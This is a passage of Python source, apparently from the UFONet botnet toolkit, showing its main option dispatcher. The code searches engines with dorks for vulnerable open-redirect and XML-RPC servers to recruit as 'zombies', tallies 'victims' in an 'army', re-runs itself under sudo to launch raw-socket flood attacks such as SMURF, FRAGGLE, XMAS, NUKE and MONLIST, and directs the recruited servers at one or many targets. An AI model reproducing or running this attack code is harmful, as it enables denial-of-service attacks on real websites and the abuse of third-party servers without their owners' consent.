  346. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  347. return
  348. else:
  349. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  350. except Exception:
  351. self.banner()
  352. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  353. return
  354. # check tor connection
  355. if options.checktor:
  356. url = self.check_tor_url # TOR status checking site
  357. self.banner()
  358. print("\nSending request to: " + url + "\n")
  359. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  360. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  361. try:
  362. if options.proxy: # set proxy
  363. self.proxy_transport(options.proxy)
  364. req = urllib.request.Request(url, None, headers)
  365. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  366. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  367. if not tor_reply or 'Congratulations' not in tor_reply:
  368. print("It seems that Tor is not properly set.\n")
  369. print(("IP address appears to be: " + your_ip + "\n"))
  370. else:
  371. print("Congratulations!. Tor is properly being used :-)\n")
  372. print(("IP address appears to be: " + your_ip + "\n"))
  373. except:
  374. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  375. sys.exit(2) # return
  376. # run AES256+HMAC-SHA1 enc/dec tool
  377. if options.cryptomsg:
  378. from core.tools.crypter import Cipher
  379. print(" " + '='*44)
  380. print(" ")
  381. print(" ____...------------...____ ")
  382. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  383. print(" .' / / \ \ '. ")
  384. print(" |=====/o/======================\o\=====| ")
  385. print(" |____/_/________..____..________\_\____| ")
  386. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  387. print(" \__/_____\####/0213411543/####/_____\__/ ")
  388. print(" |===\!/========================\!/===| ")
  389. print(" | |=| .---. |=| | ")
  390. print(" |===|o|=========/ \========|o|===| ")
  391. print(" | | | \() ()/ | | | ")
  392. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  393. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  394. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  395. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  396. print(" '''''''''''''''''''''''''''''''''''''' ")
  397. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  398. print(" (140 plain text chars = 69 encrypted chars)\n")
  399. print(" " + '='*44 + "\n")
  400. text = str(input("-> Enter TEXT: "))
  401. input_key = str(input("\n-> Enter KEY: "))
  402. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  403. c = Cipher(key, text)
  404. msg = c.encrypt()
  405. msg = msg.decode('utf-8')
  406. c.set_text(msg)
  407. print("\n" + " " + '-'*44)
  408. print('\n-> Ciphertext: [', msg, ']')
  409. print('\n-> Length:', len(msg))
  410. print("\n" + " " + '-'*44)
  411. print('\n-> Key (share it using SNEAKNET!):', input_key)
  412. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  413. # run shownet tool
  414. if options.shownet:
  415. hex_mac = self.show_mac_address()
  416. self.banner()
  417. print("-> Network Info:")
  418. print('='*44)
  419. print("-"*35)
  420. print("|- MAC Address :", hex_mac)
  421. print("|" +"-"*34)
  422. private_ip, public_ip = self.show_ips()
  423. print("|- IP Private :", private_ip)
  424. print("|" +"-"*34)
  425. t = urlparse(self.check_ip_service3)
  426. name_service = t.netloc
  427. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  428. print("-"*35)
  429. print('='*75, "\n")
  430. # run UFOSCAN tool (check EUID when running UFOSCAN)
  431. if options.xray:
  432. euid = self.checkeuid()
  433. if euid != 0:
  434. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  435. try:
  436. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  437. os.execlpe('sudo', *args)
  438. except:
  439. pass # keep running
  440. else:
  441. if not options.xrayps:
  442. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  443. ports = options.xrayps
  444. try:
  445. portX, portY = ports.split('-')
  446. try:
  447. portX = int(portX)
  448. portY = int(portY)
  449. except:
  450. portX = 1
  451. portY = 1024
  452. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  453. except:
  454. portX = 1
  455. portY = 1024
  456. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  457. self.banner()
  458. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  459. print('='*22 + '\n')
  460. try:
  461. self.instance = UFOSCAN() # instance main class for scanning operations
  462. xray = self.instance.scanning(options.xray, portX, portY)
  463. except Exception as e:
  464. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  465. if DEBUG == True:
  466. traceback.print_exc()
  467. return
  468. # show code timeline
  469. if options.timeline:
  470. f = open(self.timeline_file, 'r')
  471. releases = f.readlines()
  472. f.close()
  473. self.banner()
  474. print("-> Code timeline:")
  475. print('='*44)
  476. print("-"*35)
  477. for r in releases:
  478. print(r.strip('\n'))
  479. print("-"*35)
  480. print('='*75, "\n")
  481. # print some examples
  482. if options.examples:
  483. f = open(self.examples_file, 'r')
  484. examples = f.readlines()
  485. f.close()
  486. self.banner()
  487. for e in examples:
  488. print(e.strip('\n'))
  489. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  490. if options.ufosyn:
  491. euid = self.checkeuid()
  492. if euid != 0:
  493. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  494. try:
  495. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  496. os.execlpe('sudo', *args)
  497. except:
  498. pass # keep running, but UFOSYN will fail
  499. # check EUID when running SPRAY (root required)
  500. if options.spray:
  501. euid = self.checkeuid()
  502. if euid != 0:
  503. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  504. try:
  505. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  506. os.execlpe('sudo', *args)
  507. except:
  508. pass # keep running, but SPRAY will fail
  509. # check EUID when running SMURF (root required)
  510. if options.smurf:
  511. euid = self.checkeuid()
  512. if euid != 0:
  513. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  514. try:
  515. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  516. os.execlpe('sudo', *args)
  517. except:
  518. pass # keep running, but SMURF will fail
  519. # check EUID when running FRAGGLE (root required)
  520. if options.fraggle:
  521. euid = self.checkeuid()
  522. if euid != 0:
  523. print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
  524. try:
  525. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  526. os.execlpe('sudo', *args)
  527. except:
  528. pass # keep running, but FRAGGLE will fail
  529. # check EUID when running XMAS (root required)
  530. if options.xmas:
  531. euid = self.checkeuid()
  532. if euid != 0:
  533. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  534. try:
  535. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  536. os.execlpe('sudo', *args)
  537. except:
  538. pass # keep running, but XMAS will fail
  539. # check EUID when running UFOACK (root required)
  540. if options.ufoack:
  541. euid = self.checkeuid()
  542. if euid != 0:
  543. print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
  544. try:
  545. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  546. os.execlpe('sudo', *args)
  547. except:
  548. pass # keep running, but UFOACK will fail
  549. # check EUID when running UFORST (root required)
  550. if options.uforst:
  551. euid = self.checkeuid()
  552. if euid != 0:
  553. print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
  554. try:
  555. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  556. os.execlpe('sudo', *args)
  557. except:
  558. pass # keep running, but UFORST will fail
  559. # check EUID when running DROPER (root required)
  560. if options.droper:
  561. euid = self.checkeuid()
  562. if euid != 0:
  563. print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
  564. try:
  565. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  566. os.execlpe('sudo', *args)
  567. except:
  568. pass # keep running, but DROPER will fail
  569. # check EUID when running OVERLAP (root required)
  570. if options.overlap:
  571. euid = self.checkeuid()
  572. if euid != 0:
  573. print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
  574. try:
  575. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  576. os.execlpe('sudo', *args)
  577. except:
  578. pass # keep running, but OVERLAP will fail
  579. # check EUID when running PINGER (root required)
  580. if options.pinger:
  581. euid = self.checkeuid()
  582. if euid != 0:
  583. print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
  584. try:
  585. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  586. os.execlpe('sudo', *args)
  587. except:
  588. pass # keep running, but PINGER will fail
  589. # check EUID when running UFOUDP (root required)
  590. if options.ufoudp:
  591. euid = self.checkeuid()
  592. if euid != 0:
  593. print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
  594. try:
  595. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  596. os.execlpe('sudo', *args)
  597. except:
  598. pass # keep running, but UFOUDP will fail
  599. # check EUID when running NUKE (root required)
  600. if options.nuke:
  601. euid = self.checkeuid()
  602. if euid != 0:
  603. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  604. try:
  605. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  606. os.execlpe('sudo', *args)
  607. except:
  608. pass # keep running, but NUKE will fail
  609. # check EUID when running TACHYON (root required)
  610. if options.tachyon:
  611. euid = self.checkeuid()
  612. if euid != 0:
  613. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  614. try:
  615. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  616. os.execlpe('sudo', *args)
  617. except:
  618. pass # keep running, but TACHYON will fail
  619. # check EUID when running MONLIST (root required)
  620. if options.monlist:
  621. euid = self.checkeuid()
  622. if euid != 0:
  623. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  624. try:
  625. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  626. os.execlpe('sudo', *args)
  627. except:
  628. pass # keep running, but MONLIST will fail
  629. # check EUID when running SNIPER (root required)
  630. if options.sniper:
  631. euid = self.checkeuid()
  632. if euid != 0:
  633. print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
  634. try:
  635. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  636. os.execlpe('sudo', *args)
  637. except:
  638. pass # keep running, but SNIPER will fail
  639. # search for [Zombies] on search engines results (dorking)
  640. if options.search:
  641. zombies = []
  642. if options.engine:
  643. engine = options.engine
  644. else:
  645. engine = "duck" # default search engine
  646. try:
  647. self.banner()
  648. if not os.path.exists(self.humans_file) == True:
  649. f = open(self.humans_file, 'w')
  650. f.close()
  651. lf = open(self.humans_file, 'r')
  652. restored = lf.readlines()
  653. zombies_restored = len(restored)
  654. lf.close()
  655. lz = open(self.zombies_file, 'r')
  656. zombies_army = lz.readlines()
  657. for zombie in zombies_army:
  658. zombies.append(zombie) # add zombies from army to the zombies pool
  659. lz.close()
  660. if len(restored) > 0:
  661. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  662. if not self.options.forceyes:
  663. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  664. print('-'*25)
  665. else:
  666. backup_reply = "Y"
  667. if backup_reply == "n" or backup_reply == "N":
  668. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  669. os.remove(self.humans_file)
  670. zombies_restored = 0 # flush zombies restored
  671. print('-'*25 + "\n")
  672. else:
  673. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  674. print('-'*25 + "\n")
  675. for zombie in restored:
  676. zombies.append(zombie) # add previous data to zombies pool
  677. if options.allengines:
  678. if options.ex_engine: # exclude some search engines manually
  679. exclude = options.ex_engine.split(",")
  680. for ex in exclude:
  681. ex = ex.lower()
  682. if ex in self.search_engines:
  683. if len(self.search_engines) == 1: # at least one should make it
  684. pass
  685. else:
  686. self.search_engines.remove(ex)
  687. for e in self.search_engines:
  688. engine = e
  689. print('='*44)
  690. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  691. print('='*44 + '\n')
  692. self.options.engine = engine
  693. try:
  694. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  695. if zombies_chain != None:
  696. for zombie in zombies_chain:
  697. if zombie not in zombies: # evade possible repetitions
  698. zombies.append(zombie)
  699. except:
  700. if zombies: # backup all new zombies found to file in case of exception
  701. for zombie in zombies:
  702. if zombie+os.linesep not in restored: # only append new zombies found
  703. with open(self.humans_file, "a") as f:
  704. f.write(str(zombie+os.linesep))
  705. else:
  706. if restored:
  707. print('='*44)
  708. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  709. print('='*44 + '\n')
  710. if restored: # from restored file
  711. try:
  712. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  713. if zombies_chain != None:
  714. for zombie in zombies_chain:
  715. if zombie not in zombies: # evade possible repetitions
  716. zombies.append(zombie)
  717. except:
  718. if zombies: # backup all new zombies found to file in case of exception
  719. for zombie in zombies:
  720. if zombie+os.linesep not in restored: # only append new zombies found
  721. with open(self.humans_file, "a") as f:
  722. f.write(str(zombie+os.linesep))
  723. else:
  724. try:
  725. zombies = self.search_zombies(dork='', zombies_found=zombies)
  726. except:
  727. if zombies: # backup all new zombies found to file in case of exception
  728. for zombie in zombies:
  729. if zombie+os.linesep not in restored: # only append new zombies found
  730. with open(self.humans_file, "a") as f:
  731. f.write(str(zombie+os.linesep))
  732. total_restored = zombies_restored
  733. new_zombies = 0 # new zombies counter
  734. f = open(self.zombies_file, 'r')
  735. zz = f.readlines()
  736. f.close()
  737. zombies_found = []
  738. for z in zombies:
  739. if z.endswith(os.linesep):
  740. z = z.replace(os.linesep, "")
  741. if z not in zz and z+os.linesep not in zz:
  742. new_zombies = new_zombies + 1
  743. zombies_found.append(z)
  744. print('='*62)
  745. print("\n- Victims found:", len(zombies_found), "\n")
  746. print(" - Restored:", total_restored)
  747. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  748. print('-'*32)
  749. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  750. print('='*62 + '\n')
  751. if len(zombies) > 0:
  752. if not self.options.forceyes:
  753. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  754. print('-'*25)
  755. else:
  756. check_backup_reply = "Y"
  757. if check_backup_reply == "n" or check_backup_reply == "N":
  758. if os.path.isfile(self.humans_file):
  759. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  760. print("\n[Info] [AI] Temporal data correctly removed...\n")
  761. else:
  762. with open(self.humans_file, "w") as f:
  763. for z in zombies_found:
  764. if z.endswith(os.linesep):
  765. z = z.replace(os.linesep, "")
  766. if z not in zz or z+os.linesep not in zz:
  767. f.write(z+os.linesep)
  768. f.close()
  769. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  770. print('-'*25 + "\n")
  771. if new_zombies and new_zombies > 0:
  772. if not self.options.forceyes:
  773. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  774. print('-'*25 + "\n")
  775. else:
  776. check_url_link_reply = "Y"
  777. if check_url_link_reply == "n" or check_url_link_reply == "N":
  778. print("[AI] "+self.exit_msg+"\n")
  779. pass
  780. else:
  781. print("\n" + '='*44)
  782. test = self.testing(zombies_found)
  783. else:
  784. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  785. except Exception:
  786. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  787. # search for [Zombies] from a list of [Dorks]
  788. if options.dorks:
  789. if options.engine:
  790. engine = options.engine
  791. else:
  792. engine = "duck" # default search engine
  793. try:
  794. dorks = self.extract_dorks()
  795. if not dorks:
  796. return
  797. zombies = []
  798. self.banner()
  799. if not os.path.exists(self.humans_file) == True:
  800. f = open(self.humans_file, 'w')
  801. f.close()
  802. lf = open(self.humans_file, 'r')
  803. restored = lf.readlines()
  804. zombies_restored = len(restored)
  805. lf.close()
  806. lz = open(self.zombies_file, 'r')
  807. zombies_army = lz.readlines()
  808. for zombie in zombies_army:
  809. zombies.append(zombie) # add zombies from army to the zombies pool
  810. lz.close()
  811. if len(restored) > 0:
  812. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  813. if not self.options.forceyes:
  814. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  815. print('-'*25)
  816. else:
  817. backup_reply = "Y"
  818. if backup_reply == "n" or backup_reply == "N":
  819. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  820. os.remove(self.humans_file)
  821. zombies_restored = 0 # flush zombies restored
  822. print('-'*25 + "\n")
  823. else:
  824. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  825. print('-'*25 + "\n")
  826. for zombie in restored:
  827. zombies.append(zombie) # add previous data to zombies pool
  828. total_restored = zombies_restored
  829. if options.allengines:
  830. if options.ex_engine: # exclude some search engines manually
  831. exclude = options.ex_engine.split(",")
  832. for ex in exclude:
  833. ex = ex.lower()
  834. if ex in self.search_engines:
  835. if len(self.search_engines) == 1: # at least one should make it
  836. pass
  837. else:
  838. self.search_engines.remove(ex)
  839. for e in self.search_engines:
  840. engine = e
  841. print('='*44)
  842. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  843. print('='*44 + '\n')
  844. self.options.engine = engine
  845. for dork in dorks:
  846. print('='*22)
  847. print("Dork:", dork)
  848. print('='*22 + '\n')
  849. try:
  850. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  851. for zombie in dorked_zombies:
  852. if zombie not in zombies: # evade repetitions for zombies found
  853. zombies.append(zombie)
  854. if zombie+os.linesep not in restored: # only append new zombies found
  855. with open(self.humans_file, "a") as f:
  856. f.write(str(zombie+os.linesep))
  857. f.close()
  858. except:
  859. if zombies: # backup new zombies found on exception
  860. for zombie in zombies:
  861. if zombie+os.linesep not in restored: # only append new zombies found
  862. with open(self.humans_file, "a") as f:
  863. f.write(str(zombie+os.linesep))
  864. f.close()
  865. else:
  866. if restored:
  867. print('='*44)
  868. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  869. print('='*44 + '\n')
  870. for dork in dorks:
  871. print('='*22)
  872. print("Dork:", dork)
  873. print('='*22 + '\n')
  874. try:
  875. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  876. if dorked_zombies != None:
  877. for zombie in dorked_zombies:
  878. if zombie not in zombies: # evade repetitions for zombies found
  879. zombies.append(zombie)
  880. except:
  881. if zombies: # backup new zombies found on exception
  882. for zombie in zombies:
  883. if zombie+os.linesep not in restored: # only append new zombies found
  884. with open(self.humans_file, "a") as f:
  885. f.write(str(zombie+os.linesep))
  886. f.close()
  887. new_zombies = 0 # new zombies counter
  888. f = open(self.zombies_file, 'r')
  889. zz = f.readlines()
  890. f.close()
  891. zombies_found = []
  892. for z in zombies:
  893. if z.endswith(os.linesep):
  894. z = z.replace(os.linesep, "")
  895. if z not in zz and z+os.linesep not in zz:
  896. new_zombies = new_zombies + 1
  897. zombies_found.append(z)
  898. print('='*62)
  899. print("\n- Victims found:", len(zombies_found), "\n")
  900. print(" - Restored:", total_restored)
  901. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  902. print('-'*32)
  903. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  904. print('='*62 + '\n')
  905. if len(zombies_found) > 0:
  906. if not self.options.forceyes:
  907. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  908. print('-'*25)
  909. else:
  910. check_backup_reply = "Y"
  911. if check_backup_reply == "n" or check_backup_reply == "N":
  912. if os.path.isfile(self.humans_file):
  913. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  914. print("\n[Info] [AI] Temporal data correctly removed...\n")
  915. else:
  916. with open(self.humans_file, "w") as f:
  917. for z in zombies_found:
  918. if z.endswith(os.linesep):
  919. z = z.replace(os.linesep, "")
  920. if z not in zz or z+os.linesep not in zz:
  921. f.write(z+os.linesep)
  922. f.close()
  923. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  924. print('-'*25 + "\n")
  925. if new_zombies and new_zombies > 0:
  926. if not self.options.forceyes:
  927. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  928. print('-'*25 + "\n")
  929. else:
  930. check_url_link_reply = "Y"
  931. if check_url_link_reply == "n" or check_url_link_reply == "N":
  932. print("[AI] "+self.exit_msg+"\n")
  933. pass
  934. else:
  935. print("\n" + '='*44)
  936. test = self.testing(zombies_found)
  937. else:
  938. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  939. except Exception:
  940. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  941. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  942. if options.autosearch:
  943. try:
  944. dorks = self.extract_dorks()
  945. except:
  946. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  947. return
  948. engines_list = self.search_engines
  949. stop_flag = False # use a flag to establish an end
  950. try:
  951. self.banner()
  952. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  953. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  954. print('-'*25 + "\n")
  955. zombies_found = []
  956. lz = open(self.zombies_file, 'r')
  957. zombies_army = lz.readlines()
  958. for zombie in zombies_army:
  959. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  960. lz.close()
  961. if not os.path.exists(self.humans_file) == True:
  962. f = open(self.humans_file, 'w')
  963. f.close()
  964. lf = open(self.humans_file, 'r')
  965. restored = lf.readlines()
  966. zombies_restored = len(restored)
  967. lf.close()
  968. if len(restored) > 0:
  969. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  970. if not self.options.forceyes:
  971. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  972. print('-'*25)
  973. else:
  974. backup_reply = "Y"
  975. if backup_reply == "n" or backup_reply == "N":
  976. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  977. os.remove(self.humans_file)
  978. zombies_restored = 0 # flush zombies restored
  979. print('-'*25 + "\n")
  980. else:
  981. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  982. print('-'*25 + "\n")
  983. for zombie in restored:
  984. zombies_found.append(zombie) # add previous data to zombies found pool
  985. total_restored = zombies_restored
  986. while stop_flag == False:
  987. if not os.path.exists(self.humans_file) == True:
  988. f = open(self.humans_file, 'w')
  989. f.close()
  990. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  991. restored = lf.readlines()
  992. lf.close()
  993. zombies_restored = len(restored)
  994. for e in engines_list:
  995. zombies_counter = 0 # use it also as (engine) flag
  996. engine = e
  997. self.options.engine = engine
  998. print('='*44 + '\n')
  999. print(("[AI] Searching for zombies using: "+engine+'\n'))
  1000. print('='*44 + '\n')
  1001. for dork in dorks:
  1002. print('='*22)
  1003. print("Dork:", dork)
  1004. print('='*22 + '\n')
  1005. try:
  1006. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  1007. for zombie in dorked_zombies:
  1008. if zombie not in zombies_found: # evade repetitions for zombies found
  1009. zombies_found.append(zombie)
  1010. if zombie+os.linesep not in restored: # only append new zombies found
  1011. with open(self.humans_file, "a") as f:
  1012. f.write(str(zombie+os.linesep))
  1013. f.close()
  1014. zombies_counter = zombies_counter + 1
  1015. except:
  1016. if zombies_found: # backup new zombies found on exception
  1017. for zombie in zombies_found:
  1018. if zombie+os.linesep not in restored: # only append new zombies found
  1019. with open(self.humans_file, "a") as f:
  1020. f.write(str(zombie+os.linesep))
  1021. f.close()
  1022. if zombies_counter == 0:
  1023. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  1024. print('-'*25 + "\n")
  1025. engines_list.remove(engine) # remove not more results engine from search engines list
  1026. if not engines_list: # if search engines empty, call return-exit routine
  1027. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  1028. print('-'*25 + "\n")
  1029. stop_flag = True # exit flag up
  1030. new_zombies = 0 # new zombies counter
  1031. f = open(self.zombies_file, 'r')
  1032. zz = f.readlines()
  1033. f.close()
  1034. all_zombies_found = []
  1035. for z in zombies_found:
  1036. if z.endswith(os.linesep):
  1037. z = z.replace(os.linesep, "")
  1038. if z not in zz and z+os.linesep not in zz:
  1039. new_zombies = new_zombies + 1
  1040. all_zombies_found.append(z)
  1041. print('='*62)
  1042. print("\n- Victims found:", len(all_zombies_found), "\n")
  1043. print(" - Restored:", total_restored)
  1044. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  1045. print('-'*32)
  1046. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1047. print('='*62 + '\n')
  1048. if len(zombies_found) > 0:
  1049. if not self.options.forceyes:
  1050. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1051. print('-'*25)
  1052. else:
  1053. check_backup_reply = "Y"
  1054. if check_backup_reply == "n" or check_backup_reply == "N":
  1055. if os.path.isfile(self.humans_file):
  1056. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1057. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1058. else:
  1059. with open(self.humans_file, "w") as f:
  1060. for z in all_zombies_found:
  1061. if z.endswith(os.linesep):
  1062. z = z.replace(os.linesep, "")
  1063. if z not in zz or z+os.linesep not in zz:
  1064. f.write(z+os.linesep)
  1065. f.close()
  1066. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1067. print('-'*25 + "\n")
  1068. if new_zombies and new_zombies > 0:
  1069. if not self.options.forceyes:
  1070. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1071. print('-'*25 + "\n")
  1072. else:
  1073. check_url_link_reply = "Y"
  1074. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1075. print("[AI] "+self.exit_msg+"\n")
  1076. pass
  1077. else:
  1078. print("\n" + '='*44)
  1079. test = self.testing(all_zombies_found)
  1080. else:
  1081. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1082. except Exception:
  1083. print ("[Error] [AI] Something wrong (auto)searching...\n")
  1084. # test web 'zombie' servers -> show statistics
  1085. if options.test:
  1086. try:
  1087. self.banner()
  1088. zombies = self.extract_zombies()
  1089. if not zombies:
  1090. return
  1091. test = self.testing(zombies)
  1092. self.update_missions_stats() # update mothership missions stats
  1093. except Exception:
  1094. print ("\n[Error] [AI] Something wrong testing!\n")
  1095. if DEBUG == True:
  1096. traceback.print_exc()
  1097. # test XML-'rpc' pingback vulnerable servers -> update list
  1098. if options.testrpc:
  1099. try:
  1100. self.banner()
  1101. rpcs = self.extract_rpcs()
  1102. if not rpcs:
  1103. return
  1104. testrpc = self.testing_rpcs(rpcs)
  1105. self.update_missions_stats() # update mothership missions stats
  1106. except Exception:
  1107. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  1108. if DEBUG == True:
  1109. traceback.print_exc()
  1110. # check botnet searching for zombies offline
  1111. if options.testoffline:
  1112. try:
  1113. self.banner()
  1114. testbotnet = self.testing_offline()
  1115. self.update_missions_stats() # update mothership missions stats
  1116. except Exception:
  1117. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1118. if DEBUG == True:
  1119. traceback.print_exc()
  1120. # check ALL botnet status
  1121. if options.testall:
  1122. try:
  1123. self.banner()
  1124. test_all_botnet = self.testing_all()
  1125. self.update_missions_stats() # update mothership missions stats
  1126. except Exception:
  1127. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1128. if DEBUG == True:
  1129. traceback.print_exc()
  1130. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1131. if options.target:
  1132. try:
  1133. self.banner()
  1134. zombies = self.extract_zombies()
  1135. if not zombies:
  1136. return
  1137. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1138. attack = self.attacking(zombies, options.target)
  1139. self.update_missions_stats() # update mothership missions stats
  1140. except Exception:
  1141. print ("\n[Error] [AI] Something wrong attacking!\n")
  1142. if DEBUG == True:
  1143. traceback.print_exc()
  1144. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1145. if options.target_list:
  1146. try:
  1147. self.banner()
  1148. zombies = self.extract_zombies()
  1149. if not zombies:
  1150. return
  1151. targets = self.extract_target_list()
  1152. if not targets:
  1153. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1154. return
  1155. self.options.forceyes = True # force-yes ON!
  1156. self.num_target_list = 0
  1157. print("\n[AI] Checking integrity of targets...\n")
  1158. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1159. if not t.startswith("http"): # discarded inmediately
  1160. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1161. targets.remove(t) # ¿remove? invalid targets
  1162. print("")
  1163. c = 0
  1164. for target in targets:
  1165. if target == "":
  1166. c = c + 1
  1167. else:
  1168. self.num_target_list = self.num_target_list + 1
